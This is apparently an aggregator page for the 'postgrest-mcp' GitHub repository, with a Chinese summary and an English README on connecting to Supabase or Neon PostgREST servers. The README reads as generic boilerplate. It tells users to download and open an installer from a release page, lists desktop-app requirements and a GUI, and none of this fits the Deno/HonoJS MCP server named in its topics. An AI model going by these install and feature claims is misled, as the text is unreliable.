PostgREST MCP:连接 Supabase 与 Neon 的 MCP 服务器
MOHITGITAI/postgrest-mcp
MOHITGITAI 发布 postgrest-mcp,可连接任意 PostgREST 服务器(如 Supabase、Neon Data API),支持 OAuth2 认证与 streamable HTTP 服务。该应用提供 API 访问、数据增删改和实时数据流功能,支持多服务器连接与自托管,要求至少 4 GB 内存和 100 MB 磁盘空间。
🚀 Getting Started
Welcome to the postgrest-mcp project! This application allows you to easily connect with any PostgREST server, such as Supabase or Neon Data API. It supports OAuth2 authentication and offers streamable HTTP services, making your integration smooth.
🖥️ System Requirements
Before installing, ensure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Memory: Minimum 4 GB RAM
- Disk Space: At least 100 MB available
- Network: Internet connection for API access
📥 Download & Install
To get started, you need to download the software.
-
Visit this page to download: Download PostgREST MCP
-
Find the latest release. You will see several files available for download. Look for the one that matches your system.
-
Click on the file name to download it to your computer.
-
Once the download completes, locate the file in your downloads folder.
-
Open the file to start the installation process. Follow the on-screen prompts to install the application.
🔧 Configuration
After installation, you will need to configure the application:
-
Open the PostgREST MCP application.
-
Set Up Your Server Connection:
- Enter your PostgREST server URL (e.g., your Supabase or Neon Data API).
- Input your OAuth2 credentials, including client ID and client secret.
-
Testing the Connection:
- There is an option to test the connection. Click it to ensure everything is configured correctly.
-
Streamable HTTP Settings:
- Configure any stream settings if you plan to use streamable HTTP features. You can find these options in the settings menu.
📄 Usage
Once you have configured the application, you can start using it to communicate with your PostgREST server. Here are some key features:
- API Access: Easily access your APIs by inputting the relevant endpoints.
- Data Management: Perform data functions like inserting, updating, and deleting records.
- Real-Time Streams: Receive real-time updates from your server directly within the app.
😎 Features
- OAuth2 Authentication: Secure your API connections using OAuth2.
- Support for Multiple Servers: Connect to different PostgREST servers effortlessly.
- User-Friendly Interface: Navigate the application easily with a clean, intuitive layout.
- Real-Time Data Handling: Stream data as it changes on your server.
- Self-Hosted Option: Run your own instance if preferred.
🎨 Topics
This application can be used in various scenarios. Relevant topics include:
- Deno Deploy
- HonoJS
- MCP Server
- Neon Postgres
- PostgREST
- Self-hosted applications
- Streamable HTTP features
- Supabase and Supabase Functions
You can use this application in various projects or personal tasks. Whether you are managing databases, running applications, or testing APIs, PostgREST MCP can simplify your interactions.
🔗 Additional Resources
For more help and community support, check these resources:
- Documentation: Detailed documentation is available on the repository's wiki section.
- Community Forum: Join the discussions on platforms like Discord or Reddit to get tips and share experiences.
- Feedback: Your input is valuable. If you encounter issues or have suggestions, feel free to create an issue in the GitHub repository.
📞 Support
If you have questions or need assistance, feel free to reach out. You can create an issue on the GitHub page or contact community support through the official channels.
🔗 Quick Links
Getting started with PostgREST MCP is straightforward. Remember to follow these steps to download and run the application effectively. Enjoy exploring and interacting with your PostgREST servers!
来源:GitHub · github.com